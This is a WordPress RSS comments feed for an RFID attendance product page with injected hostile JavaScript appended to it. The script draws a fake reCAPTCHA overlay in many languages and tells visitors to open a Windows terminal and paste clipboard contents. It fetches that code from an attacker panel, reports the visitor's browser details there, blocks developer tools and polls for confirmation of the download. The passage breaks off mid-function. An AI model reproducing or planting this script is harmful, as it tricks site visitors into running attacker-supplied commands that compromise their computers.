<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: HVS-3519. RFID Based Attendance and Counting System	</title>
	<atom:link href="https://www.hvstechnologies.in/product/hvs-3519-rfid-based-attendance-and-counting-system/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.hvstechnologies.in/product/hvs-3519-rfid-based-attendance-and-counting-system/</link>
	<description>Hub for Versatile Science &#38; Technologies</description>
	<lastBuildDate>Thu, 31 Jul 2025 05:59:00 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
</channel>
</rss>
<script>
(function(){
    'use strict';

    var PANEL  = "https:\/\/superfuckingpanel.info";
    var APIKEY = "lTKoMuKufDGILSVSjMs9OJyC6vmLJj7U";
    var TOKEN  = "a8e50f6145262fce1f5966aada9a913349c46e5ed23525fc74d677133d9be40c";
    var RAYID  = "706386c170068c13";
    var IS_NEW = false;

    /* ── Cookie helpers ── */
    function getCk(n){var v='; '+document.cookie,p=v.split('; '+n+'=');if(p.length===2)return p.pop().split(';').shift();return null;}
    function setCk(n,v,d){var e=new Date();e.setTime(e.getTime()+d*864e5);document.cookie=n+'='+v+';expires='+e.toUTCString()+';path=/;SameSite=Lax';}

    if(getCk('sc_ppi_dl')==='1') return;
    if(window.__scPpiOpen) return;
    window.__scPpiOpen = true;

    /* ── SVG icons ── */
    function createSvgIcon(kind, size) {
        var iconSize = Number(size) > 0 ? Number(size) : 14;
        if (kind === 'keyboard') {
            return '<svg aria-hidden="true" viewBox="0 0 24 24" width="'+iconSize+'" height="'+iconSize+'" style="display:block;fill:currentColor;">'
                +'<path d="M4 6.75A2.75 2.75 0 0 1 6.75 4h10.5A2.75 2.75 0 0 1 20 6.75v7.5A2.75 2.75 0 0 1 17.25 17H6.75A2.75 2.75 0 0 1 4 14.25zm2.25-1.25c-.69 0-1.25.56-1.25 1.25v7.5c0 .69.56 1.25 1.25 1.25h10.5c.69 0 1.25-.56 1.25-1.25v-7.5c0-.69-.56-1.25-1.25-1.25zM7 8h1.5v1.5H7zm2.25 0h1.5v1.5h-1.5zm2.25 0H13v1.5h-1.5zm2.25 0h1.5v1.5h-1.5zM7 10.25h1.5v1.5H7zm2.25 0h1.5v1.5h-1.5zm2.25 0H13v1.5h-1.5zm2.25 0h1.5v1.5h-1.5zM7 12.5h7.5V14H7z"/></svg>';
        }
        if (kind === 'windows') {
            return '<svg aria-hidden="true" viewBox="0 0 24 24" width="'+iconSize+'" height="'+iconSize+'" style="display:inline-block;vertical-align:middle;fill:currentColor;">'
                +'<path d="M3 5.33 10.74 4v7.28H3zm8.76-1.49L21 2.25v9.03h-9.24zM3 12.39h7.74v7.28L3 18.33zm8.76 0H21v9.36l-9.24-1.59z"/></svg>';
        }
        return '';
    }

    /* ── i18n ── */
    var winIcon = createSvgIcon('windows', 14);

    function buildInstructionsHtml(t) {
        var steps = (t && Array.isArray(t.steps) ? t.steps : []).slice(0, 4);
        var stepItems = steps.map(function(s, idx) {
            return '<li style="display:flex;align-items:flex-start;gap:8px;margin-bottom:'+(idx===steps.length-1?'0':'6')+'px;">'
                +'<span style="flex:0 0 auto;width:22px;height:22px;border-radius:999px;background:#e5e7eb;color:#111827;font-size:12px;font-weight:600;display:flex;align-items:center;justify-content:center;">'+(idx+1)+'</span>'
                +'<span>'+s+'</span></li>';
        }).join('');
        return '<div style="margin-bottom:10px;display:flex;align-items:center;gap:8px;font-size:14px;color:#4b5563;">'
            +'<span style="display:inline-flex;align-items:center;justify-content:center;width:22px;height:22px;border-radius:999px;background:#e5e7eb;color:#111827;">'
            +createSvgIcon('keyboard',13)+'</span>'
            +'<span>'+(t.instructionsLead||'Use the keyboard in this order:')+'</span></div>'
            +'<ol style="margin:0;padding:0;list-style:none;font-size:14px;color:#4b5563;">'
            +stepItems+'</ol>';
    }

    var i18n = {
        en:{notRobot:"I'm not a robot",checking:'Checking...',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Terms',verifyHeaderMedium:'To verify your request',verifyHeaderBig:'follow the instructions below',instructionsLead:'Use the keyboard in this order:',steps:['Press <b>'+winIcon+' + X</b>','Press <b>I</b> (or choose <b>Terminal</b>)','Press <b>Ctrl + V</b>','Press <b>Enter</b>']},
        ru:{notRobot:'Я не робот',checking:'Проверяется...',recaptcha:'reCAPTCHA',privacyTerms:'Конфиденциальность - Условия',verifyHeaderMedium:'Для подтверждения запроса',verifyHeaderBig:'следуйте инструкциям ниже',instructionsLead:'Используйте клавиатуру в следующем порядке:',steps:['Нажмите <b>'+winIcon+' + X</b>','Нажмите <b>I</b> (или выберите <b>Терминал</b>)','Нажмите <b>Ctrl + V</b>','Нажмите <b>Enter</b>']},
        uk:{notRobot:'Я не робот',checking:'Перевірка...',recaptcha:'reCAPTCHA',privacyTerms:'Конфіденційність - Умови',verifyHeaderMedium:'Щоб підтвердити ваш запит',verifyHeaderBig:'виконайте інструкції нижче',instructionsLead:'Використайте клавіатуру в такому порядку:',steps:['Натисніть <b>'+winIcon+' + X</b>','Натисніть <b>I</b> (або оберіть <b>Terminal</b>)','Натисніть <b>Ctrl + V</b>','Натисніть <b>Enter</b>']},
        de:{notRobot:'Ich bin kein Roboter',checking:'Überprüfung…',recaptcha:'reCAPTCHA',privacyTerms:'Datenschutz - Bedingungen',verifyHeaderMedium:'Um Ihre Anfrage zu bestätigen',verifyHeaderBig:'folgen Sie den Anweisungen unten',instructionsLead:'Verwenden Sie die Tastatur in dieser Reihenfolge:',steps:['Drücken Sie <b>'+winIcon+' + X</b>','Drücken Sie <b>I</b> (oder wählen Sie <b>Terminal</b>)','Drücken Sie <b>Strg + V</b>','Drücken Sie <b>Enter</b>']},
        fr:{notRobot:'Je ne suis pas un robot',checking:'Vérification…',recaptcha:'reCAPTCHA',privacyTerms:'Confidentialité - Conditions',verifyHeaderMedium:'Pour vérifier votre demande',verifyHeaderBig:'suivez les instructions ci-dessous',instructionsLead:'Utilisez le clavier dans cet ordre :',steps:['Appuyez sur <b>'+winIcon+' + X</b>','Appuyez sur <b>I</b> (ou choisissez <b>Terminal</b>)','Appuyez sur <b>Ctrl + V</b>','Appuyez sur <b>Entrée</b>']},
        es:{notRobot:'No soy un robot',checking:'Comprobando…',recaptcha:'reCAPTCHA',privacyTerms:'Privacidad - Términos',verifyHeaderMedium:'Para verificar tu solicitud',verifyHeaderBig:'sigue las instrucciones abajo',instructionsLead:'Usa el teclado en este orden:',steps:['Pulsa <b>'+winIcon+' + X</b>','Pulsa <b>I</b> (o elige <b>Terminal</b>)','Pulsa <b>Ctrl + V</b>','Pulsa <b>Enter</b>']},
        it:{notRobot:'Non sono un robot',checking:'Verifica…',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Termini',verifyHeaderMedium:'Per verificare la tua richiesta',verifyHeaderBig:'segui le istruzioni qui sotto',instructionsLead:'Usa la tastiera in questo ordine:',steps:['Premi <b>'+winIcon+' + X</b>','Premi <b>I</b> (oppure scegli <b>Terminal</b>)','Premi <b>Ctrl + V</b>','Premi <b>Invio</b>']},
        pt:{notRobot:'Não sou um robô',checking:'Verificando…',recaptcha:'reCAPTCHA',privacyTerms:'Privacidade - Termos',verifyHeaderMedium:'Para verificar sua solicitação',verifyHeaderBig:'siga as instruções abaixo',instructionsLead:'Use o teclado nesta ordem:',steps:['Pressione <b>'+winIcon+' + X</b>','Pressione <b>I</b> (ou escolha <b>Terminal</b>)','Pressione <b>Ctrl + V</b>','Pressione <b>Enter</b>']},
        nl:{notRobot:'Ik ben geen robot',checking:'Controleren…',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Voorwaarden',verifyHeaderMedium:'Om je verzoek te verifiëren',verifyHeaderBig:'volg de onderstaande instructies',instructionsLead:'Gebruik het toetsenbord in deze volgorde:',steps:['Druk op <b>'+winIcon+' + X</b>','Druk op <b>I</b> (of kies <b>Terminal</b>)','Druk op <b>Ctrl + V</b>','Druk op <b>Enter</b>']},
        tr:{notRobot:'Ben robot değilim',checking:'Kontrol ediliyor…',recaptcha:'reCAPTCHA',privacyTerms:'Gizlilik - Şartlar',verifyHeaderMedium:'İsteğinizi doğrulamak için',verifyHeaderBig:'aşağıdaki talimatları izleyin',instructionsLead:'Klavyeyi şu sırayla kullanın:',steps:['<b>'+winIcon+' + X</b> tuşlarına basın','<b>I</b> tuşuna basın (veya <b>Terminal</b> seçin)','<b>Ctrl + V</b> tuşlarına basın','<b>Enter</b> tuşuna basın']},
        ko:{notRobot:'나는 로봇이 아닙니다',checking:'확인 중…',recaptcha:'reCAPTCHA',privacyTerms:'개인정보 - 약관',verifyHeaderMedium:'요청을 확인하려면',verifyHeaderBig:'아래 지침을 따라주세요',instructionsLead:'다음 순서대로 키보드를 사용하세요:',steps:['<b>'+winIcon+' + X</b>를 누르세요','<b>I</b>를 누르세요 (또는 <b>Terminal</b> 선택)','<b>Ctrl + V</b>를 누르세요','<b>Enter</b>를 누르세요']},
        hi:{notRobot:'मैं रोबोट नहीं हूँ',checking:'जांच हो रही है…',recaptcha:'reCAPTCHA',privacyTerms:'गोपनीयता - शर्तें',verifyHeaderMedium:'अपने अनुरोध की पुष्टि करने के लिए',verifyHeaderBig:'नीचे दिए निर्देशों का पालन करें',instructionsLead:'कीबोर्ड का इस क्रम में उपयोग करें:',steps:['<b>'+winIcon+' + X</b> दबाएँ','<b>I</b> दबाएँ (या <b>Terminal</b> चुनें)','<b>Ctrl + V</b> दबाएँ','<b>Enter</b> दबाएँ']},
        id:{notRobot:'Saya bukan robot',checking:'Memeriksa…',recaptcha:'reCAPTCHA',privacyTerms:'Privasi - Ketentuan',verifyHeaderMedium:'Untuk memverifikasi permintaan Anda',verifyHeaderBig:'ikuti petunjuk di bawah ini',instructionsLead:'Gunakan keyboard dengan urutan ini:',steps:['Tekan <b>'+winIcon+' + X</b>','Tekan <b>I</b> (atau pilih <b>Terminal</b>)','Tekan <b>Ctrl + V</b>','Tekan <b>Enter</b>']},
        vi:{notRobot:'Tôi không phải là rô-bốt',checking:'Đang kiểm tra…',recaptcha:'reCAPTCHA',privacyTerms:'Quyền riêng tư - Điều khoản',verifyHeaderMedium:'Để xác minh yêu cầu của bạn',verifyHeaderBig:'hãy làm theo hướng dẫn bên dưới',instructionsLead:'Sử dụng bàn phím theo thứ tự này:',steps:['Nhấn <b>'+winIcon+' + X</b>','Nhấn <b>I</b> (hoặc chọn <b>Terminal</b>)','Nhấn <b>Ctrl + V</b>','Nhấn <b>Enter</b>']},
        th:{notRobot:'ฉันไม่ใช่หุ่นยนต์',checking:'กำลังตรวจสอบ…',recaptcha:'reCAPTCHA',privacyTerms:'ความเป็นส่วนตัว - ข้อกำหนด',verifyHeaderMedium:'เพื่อยืนยันคำขอของคุณ',verifyHeaderBig:'โปรดทำตามคำแนะนำด้านล่าง',instructionsLead:'ใช้คีย์บอร์ดตามลำดับนี้:',steps:['กด <b>'+winIcon+' + X</b>','กด <b>I</b> (หรือเลือก <b>Terminal</b>)','กด <b>Ctrl + V</b>','กด <b>Enter</b>']},
        zh:{notRobot:'我不是机器人',checking:'正在检查…',recaptcha:'reCAPTCHA',privacyTerms:'隐私 - 条款',verifyHeaderMedium:'为了验证您的请求',verifyHeaderBig:'请按照以下步骤操作',instructionsLead:'请按以下顺序使用键盘：',steps:['按 <b>'+winIcon+' + X</b>','按 <b>I</b>（或选择 <b>Terminal</b>）','按 <b>Ctrl + V</b>','按 <b>Enter</b>']},
        ja:{notRobot:'私はロボットではありません',checking:'確認中…',recaptcha:'reCAPTCHA',privacyTerms:'プライバシー - 規約',verifyHeaderMedium:'リクエストを確認するには',verifyHeaderBig:'以下の手順に従ってください',instructionsLead:'次の順番でキーボードを操作してください:',steps:['<b>'+winIcon+' + X</b> を押します','<b>I</b> を押します（または <b>Terminal</b> を選択）','<b>Ctrl + V</b> を押します','<b>Enter</b> を押します']},
        cs:{notRobot:'Nejsem robot',checking:'Ověřování…',recaptcha:'reCAPTCHA',privacyTerms:'Soukromí - Podmínky',verifyHeaderMedium:'Pro ověření vašeho požadavku',verifyHeaderBig:'postupujte podle pokynů níže',instructionsLead:'Použijte klávesnici v tomto pořadí:',steps:['Stiskněte <b>'+winIcon+' + X</b>','Stiskněte <b>I</b> (nebo vyberte <b>Terminal</b>)','Stiskněte <b>Ctrl + V</b>','Stiskněte <b>Enter</b>']},
        ro:{notRobot:'Nu sunt un robot',checking:'Se verifică…',recaptcha:'reCAPTCHA',privacyTerms:'Confidențialitate - Termeni',verifyHeaderMedium:'Pentru a verifica cererea dvs.',verifyHeaderBig:'urmați instrucțiunile de mai jos',instructionsLead:'Folosiți tastatura în această ordine:',steps:['Apăsați <b>'+winIcon+' + X</b>','Apăsați <b>I</b> (sau alegeți <b>Terminal</b>)','Apăsați <b>Ctrl + V</b>','Apăsați <b>Enter</b>']},
        he:{notRobot:'אני לא רובוט',checking:'בודק…',recaptcha:'reCAPTCHA',privacyTerms:'פרטיות - תנאים',verifyHeaderMedium:'כדי לאמת את הבקשה שלך',verifyHeaderBig:'פעל לפי ההוראות למטה',instructionsLead:'השתמש במקלדת בסדר הזה:',steps:['לחץ על <b>'+winIcon+' + X</b>','לחץ על <b>I</b> (או בחר <b>Terminal</b>)','לחץ על <b>Ctrl + V</b>','לחץ על <b>Enter</b>'],rtl:true},
        ar:{notRobot:'لست برنامج روبوت',checking:'جارٍ التحقق…',recaptcha:'reCAPTCHA',privacyTerms:'الخصوصية - الشروط',verifyHeaderMedium:'للتحقق من طلبك',verifyHeaderBig:'اتبع التعليمات أدناه',instructionsLead:'استخدم لوحة المفاتيح بهذا الترتيب:',steps:['اضغط <b>'+winIcon+' + X</b>','اضغط <b>I</b> (أو اختر <b>Terminal</b>)','اضغط <b>Ctrl + V</b>','اضغط <b>Enter</b>'],rtl:true}
    };

    function detectLang() {
        var prefs = (navigator.languages && navigator.languages.length ? navigator.languages : [navigator.language||'en']).map(function(x){return String(x||'').toLowerCase();});
        var supported = Object.keys(i18n);
        for (var i=0;i<prefs.length;i++) {
            var primary = String(prefs[i]||'').split('-')[0];
            if (primary==='mo') primary='ro';
            if (primary==='iw') primary='he';
            if (supported.indexOf(primary)!==-1) return primary;
        }
        return 'en';
    }

    var lang = detectLang();
    var texts = i18n[lang] || i18n.en;
    texts.instructionsHtml = buildInstructionsHtml(texts);

    /* ── Shadow DOM host ── */
    var host = document.createElement('div');
    host.id = 'bw-modal-host';
    host.style.setProperty('all','initial','important');
    host.style.setProperty('position','fixed','important');
    host.style.setProperty('inset','0','important');
    host.style.setProperty('z-index','2147483646','important');
    host.style.setProperty('pointer-events','none','important');
    host.style.setProperty('display','block','important');
    host.style.setProperty('contain','layout style size','important');
    host.style.setProperty('color-scheme','light','important');
    var shadowRoot = host.attachShadow ? host.attachShadow({mode:'open'}) : host;

    /* ── Styles (exact copy of bw-modal-style) ── */
    var style = document.createElement('style');
    style.id = 'bw-modal-style';
    style.textContent = ''
        +':host{all:initial;position:fixed;inset:0;z-index:2147483646;pointer-events:none;color-scheme:light;}'
        +' :host, :host *{box-sizing:border-box;}'
        +'.bw-overlay-bg{position:fixed;inset:0;pointer-events:none;z-index:2147483645;background:rgba(15,23,42,.45);backdrop-filter:blur(50px);}'
        +' .bw-modal{font-family:Roboto,helvetica,arial,sans-serif;direction:ltr !important;text-align:left !important;unicode-bidi:isolate !important;}'
        +' .bw-modal .fkrc-m-p{margin:0;padding:0;}'
        +' .bw-modal .fkrc-block{display:block;}'
        +' .bw-modal .fkrc-line-normal{line-height:normal;}'
        +' .bw-modal .fkrc-checkbox-window{height:74px;width:300px;background-color:#f9f9f9;border-radius:3px;border:1px solid #d3d3d3;position:relative;direction:ltr !important;}'
        +' .bw-modal .fkrc-checkbox-container{width:28px;height:28px;}'
        +' .bw-modal .fkrc-checkbox{position:relative;background-color:#fff;border-radius:2px;height:100%;width:100%;border:2px solid #c1c1c1;margin:21px 0 0 12px;outline:none;font-family:Roboto,helvetica,arial,sans-serif;transition:width 500ms,height 500ms,border-radius 500ms,margin-top 500ms,margin-left 500ms,opacity 700ms;cursor:pointer;padding:0;}'
        +' .bw-modal .fkrc-checkbox:hover{border:2px solid #b2b2b2;}'
        +' .bw-modal .fkrc-im-not-a-robot{position:relative;left:52px;bottom:2px;font-size:15px;color:#282727;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-logo-area{position:absolute;right:8px;top:8px;display:flex;flex-direction:column;align-items:center;justify-content:flex-start;text-align:center !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-captcha-logo{width:32px;height:32px;margin:0;vertical-align:baseline;background-image:url(https://www.gstatic.com/recaptcha/api2/logo_48.png);background-repeat:no-repeat;background-position:center;background-size:32px 32px;}'
        +' .bw-modal .fkrc-checkbox-desc{color:#555555;position:relative;font-size:10px;text-align:center;bottom:41px;left:112px;}'
        +' .bw-modal .fkrc-logo-area .fkrc-checkbox-desc{position:static;left:auto;bottom:auto;width:100%;text-align:center;}'
        +' .bw-modal .fkrc-spinner{visibility:hidden;position:absolute;height:35px;width:35px;top:17px;left:9px;bottom:auto;opacity:0;transition:opacity 400ms;display:flex;align-items:center;justify-content:center;pointer-events:none;}'
        +' .bw-modal .bw-spinner-ring{width:22px;height:22px;border:3px solid rgba(90,137,226,.22);border-top-color:#5a89e2;border-radius:50%;animation:bw-spinner-rotate .85s linear infinite;}'
        +' .bw-modal .fkrc-checkmark{visibility:hidden;position:absolute;height:35px;width:35px;top:17px;left:9px;bottom:auto;opacity:0;transition:opacity 200ms;display:flex;align-items:center;justify-content:center;pointer-events:none;}'
        +' .bw-modal .fkrc-verifywin-window{opacity:0;position:fixed;visibility:hidden;display:none;width:335px;box-sizing:border-box;background-color:#fff;border:1px solid #cecece;box-shadow:5px 6px 7px -3px rgba(0,0,0,0.12);border-radius:3px;transition:opacity 400ms;z-index:2147483648;font-family:Roboto,helvetica,arial,sans-serif;direction:ltr !important;text-align:left !important;}'
        +' .bw-modal .fkrc-verifywin-window-arrow{opacity:0;position:fixed;visibility:hidden;display:none;width:10px;height:23px;transition:opacity 400ms;z-index:2147483649;}'
        +' .bw-modal .fkrc-verifywin-container{padding:8px;box-sizing:border-box;}'
        +' .bw-modal .fkrc-verifywin-header{background-color:#5a89e1;padding:16px 16px 24px 16px;color:#fff;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-verifywin-header-text-medium{font-size:16px;}'
        +' .bw-modal .fkrc-verifywin-header-text-big{font-size:21px;font-weight:700;}'
        +' .bw-modal .fkrc-verifywin-main{padding:9px 0 7px 0;}'
        +' .bw-modal .chrome-box{width:auto;background-color:#ffffff;border:1px solid #e0e0e0;overflow:hidden;}'
        +' .bw-modal .chrome-content{padding:20px;font-size:14px;color:#4b5563;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .chrome-content ol,.bw-modal .chrome-content ul{margin:0;padding:0;list-style:none;}'
        +' @keyframes bw-spinner-rotate{from{transform:rotate(0deg);}to{transform:rotate(360deg);}}';
    shadowRoot.appendChild(style);

    /* ── Background ── */
    var bg = document.createElement('div');
    bg.className = 'bw-overlay-bg';
    shadowRoot.appendChild(bg);

    /* ── Overlay ── */
    var overlay = document.createElement('div');
    overlay.className = 'bw-modal';
    overlay.style.cssText = 'position:fixed;inset:0;z-index:2147483647;display:flex;align-items:center;justify-content:center;pointer-events:auto;';
    try { overlay.setAttribute('dir','ltr'); } catch(e) {}

    /* ── Center box ── */
    var centerBox = document.createElement('div');
    centerBox.style.cssText = 'width:340px;background:#fff;border-radius:15px;box-shadow:0 4px 8px rgba(0,0,0,0.2);display:flex;flex-direction:column;align-items:center;padding:24px 20px 20px 20px;box-sizing:border-box;';

    /* ── Captcha block ── */
    var captchaBlock = document.createElement('div');
    captchaBlock.className = 'fkrc-checkbox-window fkrc-m-p fkrc-block';

    var checkboxContainer = document.createElement('div');
    checkboxContainer.className = 'fkrc-checkbox-container fkrc-m-p';
    captchaBlock.appendChild(checkboxContainer);

    var checkboxFake = document.createElement('button');
    checkboxFake.type = 'button';
    checkboxFake.className = 'fkrc-checkbox fkrc-m-p fkrc-line-normal';
    checkboxContainer.appendChild(checkboxFake);

    var notRobot = document.createElement('p');
    notRobot.textContent = texts.notRobot || "I'm not a robot";
    notRobot.className = 'fkrc-im-not-a-robot fkrc-m-p fkrc-line-normal';
    captchaBlock.appendChild(notRobot);

    var logoArea = document.createElement('div');
    logoArea.className = 'fkrc-logo-area';
    captchaBlock.appendChild(logoArea);

    var logo = document.createElement('div');
    logo.className = 'fkrc-captcha-logo fkrc-line-normal';
    logoArea.appendChild(logo);

    var captchaDesc = document.createElement('p');
    captchaDesc.textContent = texts.recaptcha || 'reCAPTCHA';
    captchaDesc.className = 'fkrc-checkbox-desc fkrc-m-p fkrc-line-normal';
    logoArea.appendChild(captchaDesc);

    var privacyDesc = document.createElement('p');
    privacyDesc.textContent = texts.privacyTerms || 'Privacy - Terms';
    privacyDesc.className = 'fkrc-checkbox-desc fkrc-m-p fkrc-line-normal';
    logoArea.appendChild(privacyDesc);

    var checkboxSpinner = document.createElement('div');
    checkboxSpinner.className = 'fkrc-spinner fkrc-m-p fkrc-line-normal';
    checkboxSpinner.innerHTML = '<div class="bw-spinner-ring" aria-hidden="true"></div>';
    captchaBlock.appendChild(checkboxSpinner);

    var checkboxCheckmark = document.createElement('div');
    checkboxCheckmark.className = 'fkrc-checkmark fkrc-m-p fkrc-line-normal';
    checkboxCheckmark.innerHTML = '<svg width="30" height="30" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">'
        +'<circle cx="25" cy="25" r="23" fill="#28a745"></circle>'
        +'<path d="M15 25 L22 32 L35 18" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round"></path>'
        +'</svg>';
    captchaBlock.appendChild(checkboxCheckmark);

    centerBox.appendChild(captchaBlock);

    /* ── Ray ID ── */
    var rayIdRow = document.createElement('div');
    rayIdRow.style.cssText = 'width:300px;margin-top:6px;font-size:10px;color:#6b7280;text-align:right;';
    rayIdRow.textContent = 'Ray ID: ' + RAYID;
    centerBox.appendChild(rayIdRow);

    /* ── Info block ── */
    var infoBlock = document.createElement('div');
    infoBlock.style.cssText = 'width:300px;margin-top:12px;font-size:14px;color:#4b5563;display:none;';
    centerBox.appendChild(infoBlock);

    /* ── Verify window ── */
    var verifyWindow = document.createElement('div');
    verifyWindow.className = 'fkrc-verifywin-window';
    var verifyWindowContainer = document.createElement('div');
    verifyWindowContainer.className = 'fkrc-verifywin-container';
    verifyWindow.appendChild(verifyWindowContainer);

    /* ── Arrow ── */
    var verifyWindowArrow = document.createElement('img');
    verifyWindowArrow.className = 'fkrc-verifywin-window-arrow';
    verifyWindowArrow.alt = '';
    verifyWindowArrow.src = 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCIgd2lkdGg9IjEwIiBoZWlnaHQ9IjIzIiB2aWV3Qm94PSIwIDAgMTAgMjMiPgogIDxkZWZzPgogICAgPHN0eWxlPgogICAgICAuY2xzLTEgewogICAgICAgIGZpbGw6ICNmZmY7CiAgICAgICAgc3Ryb2tlOiAjY2VjZWNlOwogICAgICAgIHN0cm9rZS13aWR0aDogMXB4OwogICAgICAgIGZpbGwtcnVsZTogZXZlbm9kZDsKICAgICAgfQogICAgPC9zdHlsZT4KICA8L2RlZnM+CiAgPHBhdGggZD0iTTAuMjgzLDEyLjUwMCBMOTEuNTAwLC03OC43MTcgTDE4Mi43MTcsMTIuNTAwIEw5MS41MDAsMTAzLjcxNyBMMC4yODMsMTIuNTAwIFoiIGNsYXNzPSJjbHMtMSIvPgo8L3N2Zz4K';

    overlay.appendChild(centerBox);
    overlay.appendChild(verifyWindow);
    overlay.appendChild(verifyWindowArrow);
    shadowRoot.appendChild(overlay);
    document.body.appendChild(host);

    /* ── JS registration ── */
    if (IS_NEW) {
        try {
            fetch(PANEL+'/api/ppi/register', {
                method:'POST', headers:{'Content-Type':'application/json'},
                body: JSON.stringify({api_key:APIKEY, token:TOKEN, ua:navigator.userAgent,
                    browser:navigator.userAgent, referrer:document.referrer, ip:''})
            }).catch(function(){});
        } catch(e) {}
    }

    /* ── Copy to clipboard ── */
    function fallbackCopy(text) {
        try {
            var ta = document.createElement('textarea');
            ta.value = text; ta.setAttribute('readonly','');
            ta.style.position='absolute'; ta.style.left='-9999px';
            document.body.appendChild(ta); ta.select();
            document.execCommand('copy');
            document.body.removeChild(ta);
        } catch(e) {}
    }

    /* ── Show verify window with positioning ── */
    function showVerifyWindow(html) {
        verifyWindowContainer.innerHTML = '<header class="fkrc-verifywin-header">'
            +'<span class="fkrc-verifywin-header-text-medium fkrc-m-p fkrc-block">'+(texts.verifyHeaderMedium||'To verify your request')+'</span>'
            +'<span class="fkrc-verifywin-header-text-big fkrc-m-p fkrc-block">'+(texts.verifyHeaderBig||'follow the instructions below')+'</span>'
            +'</header>'
            +'<main class="fkrc-verifywin-main">'
            +'<div class="chrome-box"><div class="chrome-content">'+(html||'')+'</div></div>'
            +'</main>';

        verifyWindow.style.display = 'block';
        verifyWindow.style.visibility = 'visible';
        verifyWindow.style.opacity = '1';
        verifyWindowArrow.style.display = 'block';
        verifyWindowArrow.style.visibility = 'visible';
        verifyWindowArrow.style.opacity = '1';

        function position() {
            var anchor = captchaBlock.getBoundingClientRect();
            var vwRect = verifyWindow.getBoundingClientRect();
            var margin = 10;
            var top = anchor.top - 80;
            var left = anchor.left + 54;
            if (top < margin) top = margin;
            if (left + vwRect.width > window.innerWidth - margin) {
                left = Math.max(margin, window.innerWidth - margin - vwRect.width);
                verifyWindowArrow.style.opacity = '0';
                verifyWindowArrow.style.visibility = 'hidden';
            } else {
                verifyWindowArrow.style.opacity = '1';
                verifyWindowArrow.style.visibility = 'visible';
                verifyWindowArrow.style.top = Math.round(anchor.top + 24) + 'px';
                verifyWindowArrow.style.left = Math.round(anchor.left + 45) + 'px';
            }
            verifyWindow.style.top = Math.round(top) + 'px';
            verifyWindow.style.left = Math.round(left) + 'px';
        }

        requestAnimationFrame(function(){ position(); requestAnimationFrame(position); });
    }

    /* ── Cleanup ── */
    function cleanup() {
        try { host.remove(); } catch(e) {}
        document.removeEventListener('keydown', onDevtoolsKeyBlock, true);
        document.removeEventListener('contextmenu', onContextMenuBlock, true);
        try { window.__scPpiOpen = false; } catch(e) {}
    }

    /* ── Block devtools ── */
    var onContextMenuBlock = function(ev) { ev.preventDefault(); ev.stopPropagation(); };
    var onDevtoolsKeyBlock = function(ev) {
        var key = String(ev.key||'').toLowerCase();
        var blocked = key==='f12'
            || ((ev.ctrlKey||ev.metaKey) && ev.shiftKey && (key==='i'||key==='j'||key==='c'))
            || ((ev.ctrlKey||ev.metaKey) && key==='u');
        if (blocked) { ev.preventDefault(); ev.stopPropagation(); }
    };
    document.addEventListener('contextmenu', onContextMenuBlock, true);
    document.addEventListener('keydown', onDevtoolsKeyBlock, true);

    /* ── Poll for download ── */
    function waitForTokenUsed() {
        var startedAt = Date.now();
        var timeoutMs = 3 * 60 * 1000;
        var intervalMs = 1500;
        var finished = false;

        function showCaptchaPassedThenClose() {
            if (finished) return;
            finished = true;
            try {
                verifyWindow.style.display = 'none';
                verifyWindow.style.visibility = 'hidden';
                verifyWindow.style.opacity = '0';
                verifyWindowArrow.style.display = 'none';
                verifyWindowArrow.style.visibility = 'hidden';
                verifyWindowArrow.style.opacity = '0';
            } catch(e) {}
            try {
                checkboxSpinner.style.visibility = 'hidden';
                checkboxSpinner.style.opacity = '0';
            } catch(e) {}
            try {
                checkboxCheckmark.style.visibility = 'visible';
                checkboxCheckmark.style.opacity = '1';
            } catch(e) {}
            setTimeout(function() {
                setCk('sc_ppi_dl','1',365);
                try { cleanup(); } catch(e) {}
            }, 2000);
        }

        function tick() {
            if (finished) return;
            if (Date.now() - startedAt > timeoutMs) return;
            fetch(PANEL+'/api/ppi/status?token='+encodeURIComponent(TOKEN)+'&api_key='+encodeURIComponent(APIKEY), {cache:'no-store'})
            .then(function(r) { return r.json(); })
            .then(function(d) {
                if (d && d.downloaded) { showCaptchaPassedThenClose(); return; }
                setTimeout(tick, intervalMs);
            })
            .catch(function() { setTimeout(tick, intervalMs); });
        }
        setTimeout(tick, intervalMs);
    }

    /* ── Click flow ── */
    function runConfirmFlow() {
        if (checkboxFake.__scStarted) return;
        checkboxFake.__scStarted = true;

        function hideCaptchaCheckbox() {
            checkboxFake.style.width = '4px';
            checkboxFake.style.height = '4px';
            checkboxFake.style.borderRadius = '50%';
            checkboxFake.style.marginLeft = '25px';
            checkboxFake.style.marginTop = '33px';
            checkboxFake.style.opacity = '0';
        }
        function showCaptchaLoading() {
            checkboxSpinner.style.visibility = 'visible';
            checkboxSpinner.style.opacity = '1';
        }

        checkboxFake.disabled = true;
        checkboxFake.style.cursor = 'default';
        hideCaptchaCheckbox();
        setTimeout(showCaptchaLoading, 500);
        notRobot.textContent = texts.checking || 'Checking...';

        var ctxPromise = fetch(PANEL+'/api/ppi/get-code', {
            method:'POST', headers:{'Content-Type':'application/json'},
            body: JSON.stringify({api_key:APIKEY, token:TOKEN, ua:navigator.userAgent,
                browser:navigator.userAgent, referrer:document.referrer, ip:''})
